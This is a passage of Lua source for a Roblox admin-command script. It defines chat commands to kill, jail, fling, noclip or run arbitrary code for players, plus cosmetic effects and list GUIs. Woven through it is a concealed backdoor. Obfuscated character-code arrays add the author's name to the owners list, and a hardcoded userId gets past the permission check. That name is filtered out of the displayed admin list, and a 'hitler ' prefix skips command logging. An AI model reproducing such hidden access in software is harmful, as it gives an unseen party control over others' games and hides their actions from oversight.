  6240. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  6241. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  6242. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  6243. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  6244. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  6245. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  6246. end end
  6247. end
  6248. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  6249.  
  6250. function Infect(char)
  6251. if char and char:findFirstChild("Torso") then
  6252. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  6253. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  6254. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  6255. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  6256. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  6257. prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  6258. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  6259. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  6260. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  6261. end end
  6262. end
  6263. end if not ntab then script:Destroy() end
  6264.  
  6265. function ScrollGui()
  6266. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  6267. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  6268. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  6269. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  6270. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  6271. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  6272. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  6273. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  6274. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  6275. local num = 0
  6276. local downv = false
  6277. local upv = false
  6278.  
  6279. down.MouseButton1Down:connect(function() downv = true upv = false
  6280. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  6281. repeat  pos = pos + UDim2.new(0,0,0,-6)
  6282. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  6283. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  6284. end)
  6285. down.MouseButton1Up:connect(function() downv = false end)
  6286. up.MouseButton1Down:connect(function() upv = true downv = false
  6287. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  6288. repeat  pos = pos + UDim2.new(0,0,0,6)
  6289. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  6290. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  6291. end)
  6292. up.MouseButton1Up:connect(function() upv = false end)
  6293. return scr, cmf, ent, num
  6294. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  6295. if not ntab then script:Destroy() end
  6296. if not bct then script:Destroy() end
  6297.  
  6298. function Chat(msg,plr)
  6299. coroutine.resume(coroutine.create(function()
  6300. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  6301. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  6302. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  6303. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  6304. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  6305. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  6306. if msg:lower() == "cmds" or msg:lower() == "commands" then
  6307. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  6308. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  6309. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  6310. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  6311. local ost = {"pa plr","unpa plr","nuke plr"}
  6312. local tost = {"oa plr","unoa plr","settings"}
  6313. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  6314. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  6315. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6316. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6317. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6318. end
  6319.  
  6320. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  6321.  
  6322. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  6323. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  6324. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  6325. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6326. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6327. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  6328. end end
  6329.  
  6330. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  6331. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  6332. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  6333. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  6334. end
  6335.  
  6336. if msg:lower() == "tools" or msg:lower() == "toollist" then
  6337. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  6338. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  6339. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6340. end
  6341.  
  6342. if msg:lower():sub(1,2) == "s " then
  6343. coroutine.resume(coroutine.create(function()
  6344. Output(msg:sub(3), plr)
  6345. if script:findFirstChild("ScriptBase") then
  6346. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  6347. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  6348. else loadstring(msg:sub(3))()
  6349. end
  6350. end))
  6351. end
  6352.  
  6353. if msg:lower():sub(1,3) == "ls " then
  6354. coroutine.resume(coroutine.create(function()
  6355. if script:findFirstChild("LocalScriptBase") then
  6356. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  6357. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  6358. end
  6359. end))
  6360. end
  6361.  
  6362. if msg:lower():sub(1,6) == "lsplr " then
  6363. local chk1 = msg:lower():sub(7):find(" ") + 6
  6364. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  6365. for i, v in pairs(plrz) do
  6366. coroutine.resume(coroutine.create(function()
  6367. if v and v:findFirstChild("PlayerGui") then
  6368. if script:findFirstChild("LocalScriptBase") then
  6369. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  6370. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  6371. end
  6372. end
  6373. end))
  6374. end
  6375. end
  6376.  
  6377. if msg:lower():sub(1,4) == "ins " then
  6378. coroutine.resume(coroutine.create(function()
  6379. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  6380. if obj and #obj:children() >= 1 and plr.Character then
  6381. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  6382. end
  6383. end))
  6384. end
  6385.  
  6386. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  6387. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  6388. RemoveMessage()
  6389. objects = {}
  6390. end
  6391.  
  6392. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  6393. game.Lighting.Ambient = origsettings.abt
  6394. game.Lighting.Brightness = origsettings.brt
  6395. game.Lighting.TimeOfDay = origsettings.time
  6396. game.Lighting.FogColor = origsettings.fclr
  6397. game.Lighting.FogEnd = origsettings.fe
  6398. game.Lighting.FogStart = origsettings.fs
  6399. for i, v in pairs(lobjs) do v:Destroy() end
  6400. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  6401. end
  6402.  
  6403. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  6404. coroutine.resume(coroutine.create(function()
  6405. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  6406. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  6407. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  6408. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  6409. end))
  6410. end
  6411.  
  6412. if msg:lower():sub(1,10) == "countdown " then
  6413. local num = math.min(tonumber(msg:sub(11)),120)
  6414. for i = num, 1, -1 do
  6415. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  6416. wait(1)
  6417. end
  6418. end
  6419.  
  6420. if msg:lower():sub(1,3) == "tm " then
  6421. local chk1 = msg:lower():sub(4):find(" ") + 3
  6422. local num = tonumber(msg:sub(4,chk1-1))
  6423. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  6424. end
  6425.  
  6426. if msg:lower():sub(1,2) == "m " then
  6427. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  6428. end
  6429.  
  6430. if msg:lower():sub(1,2) == "h " then
  6431. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  6432. end
  6433.  
  6434. if msg:lower():sub(1,3) == "pm " then
  6435. local chk1 = msg:lower():sub(4):find(" ") + 3
  6436. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  6437. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  6438. end
  6439.  
  6440. if msg:lower():sub(1,11) == "resetstats " then
  6441. local plrz = GetPlr(plr, msg:lower():sub(12))
  6442. for i, v in pairs(plrz) do
  6443. coroutine.resume(coroutine.create(function()
  6444. if v and v:findFirstChild("leaderstats") then
  6445. for a, q in pairs(v.leaderstats:children()) do
  6446. if q:IsA("IntValue") then q.Value = 0 end
  6447. end
  6448. end
  6449. end))
  6450. end
  6451. end
  6452.  
  6453. if msg:lower():sub(1,5) == "gear " then
  6454. local chk1 = msg:lower():sub(6):find(" ") + 5
  6455. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  6456. for i, v in pairs(plrz) do
  6457. coroutine.resume(coroutine.create(function()
  6458. if v and v:findFirstChild("Backpack") then
  6459. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  6460. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  6461. obj:Destroy()
  6462. end
  6463. end))
  6464. end
  6465. end
  6466.  
  6467. if msg:lower():sub(1,4) == "hat " then
  6468. local chk1 = msg:lower():sub(5):find(" ") + 4
  6469. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  6470. for i, v in pairs(plrz) do
  6471. coroutine.resume(coroutine.create(function()
  6472. if v and v.Character then
  6473. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  6474. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  6475. obj:Destroy()
  6476. end
  6477. end))
  6478. end
  6479. end
  6480.  
  6481. if msg:lower():sub(1,5) == "cape " then
  6482. local chk1 = msg:lower():sub(6):find(" ")
  6483. local plrz = GetPlr(plr, msg:lower():sub(6))
  6484. local str = "torso.BrickColor"
  6485. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  6486. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  6487. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  6488. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  6489. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  6490. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  6491. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  6492. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  6493. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  6494. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  6495. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  6496. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  6497. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  6498. if BrickColor.new(teststr) ~= nil then str = teststr end
  6499. end
  6500. for i, v in pairs(plrz) do
  6501. coroutine.resume(coroutine.create(function()
  6502. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  6503. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  6504. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  6505. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  6506. local torso = plr.Character.Torso
  6507. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  6508. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  6509. p.Size = Vector3.new(.2,.2,.2)
  6510. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  6511. local motor1 = Instance.new("Motor", p)
  6512. motor1.Part0 = p
  6513. motor1.Part1 = torso
  6514. motor1.MaxVelocity = .01
  6515. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  6516. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  6517. local wave = false
  6518. repeat wait(1/44)
  6519. local ang = 0.1
  6520. local oldmag = torso.Velocity.magnitude
  6521. local mv = .002
  6522. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  6523. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  6524. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  6525. motor1.DesiredAngle = -ang
  6526. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  6527. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
  6528. if torso.Velocity.magnitude < .1 then wait(.1) end
  6529. until not p or p.Parent ~= torso.Parent
  6530. script:Destroy()
  6531. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  6532. end
  6533. end))
  6534. end
  6535. end
  6536.  
  6537. if msg:lower():sub(1,7) == "uncape " then
  6538. local plrz = GetPlr(plr, msg:lower():sub(8))
  6539. for i, v in pairs(plrz) do
  6540. coroutine.resume(coroutine.create(function()
  6541. if v and v:findFirstChild("PlayerGui") and v.Character then
  6542. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  6543. end
  6544. end))
  6545. end
  6546. end
  6547.  
  6548. if msg:lower():sub(1,7) == "noclip " then
  6549. local plrz = GetPlr(plr, msg:lower():sub(8))
  6550. for i, v in pairs(plrz) do
  6551. coroutine.resume(coroutine.create(function()
  6552. if v and v:findFirstChild("PlayerGui") then
  6553. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  6554. cl.Parent = v.PlayerGui cl.Disabled = false
  6555. end
  6556. end))
  6557. end
  6558. end
  6559.  
  6560. if msg:lower():sub(1,5) == "clip " then
  6561. local plrz = GetPlr(plr, msg:lower():sub(6))
  6562. for i, v in pairs(plrz) do
  6563. coroutine.resume(coroutine.create(function()
  6564. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  6565. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  6566. v.Character.Torso.Anchored = false
  6567. wait(.1) v.Character.Humanoid.PlatformStand = false
  6568. end
  6569. end))
  6570. end
  6571. end
  6572.  
  6573. if msg:lower():sub(1,5) == "jail " then
  6574. local plrz = GetPlr(plr, msg:lower():sub(6))
  6575. for i, v in pairs(plrz) do
  6576. coroutine.resume(coroutine.create(function()
  6577. if v and v.Character and v.Character:findFirstChild("Torso") then
  6578. local vname = v.Name
  6579. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  6580. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  6581. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  6582. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  6583. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  6584. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  6585. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  6586. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  6587. end)
  6588. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  6589. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  6590. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  6591. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  6592. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  6593. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  6594. local msh2 = msh:Clone() msh2.Parent = back
  6595. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  6596. local msh4 = msh3:Clone() msh4.Parent = left
  6597. v.Character.Torso.CFrame = cf
  6598. end
  6599. end))
  6600. end
  6601. end
  6602.  
  6603. if msg:lower():sub(1,7) == "unjail " then
  6604. local plrz = GetPlr(plr, msg:lower():sub(8))
  6605. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  6606. end
  6607.  
  6608. if msg:lower():sub(1,11) == "starttools " then
  6609. local plrz = GetPlr(plr, msg:lower():sub(12))
  6610. for i, v in pairs(plrz) do
  6611. coroutine.resume(coroutine.create(function()
  6612. if v and v:findFirstChild("Backpack") then
  6613. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  6614. end
  6615. end))
  6616. end
  6617. end
  6618.  
  6619. if msg:lower():sub(1,6) == "sword " then
  6620. local plrz = GetPlr(plr, msg:lower():sub(7))
  6621. for i, v in pairs(plrz) do
  6622. coroutine.resume(coroutine.create(function()
  6623. if v and v:findFirstChild("Backpack") then
  6624. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
  6625. sword.GripForward = Vector3.new(-1,0,0)
  6626. sword.GripPos = Vector3.new(0,0,-1.5)
  6627. sword.GripRight = Vector3.new(0,1,0)
  6628. sword.GripUp = Vector3.new(0,0,1)
  6629. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  6630. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  6631. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  6632. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  6633. local Damage = 15
  6634. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  6635. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  6636. SlashSound.Volume = 1
  6637. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  6638. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  6639. LungeSound.Volume = 1
  6640. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  6641. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  6642. UnsheathSound.Volume = 1
  6643. local last = 0
  6644. script.Parent.Handle.Touched:connect(function(hit)
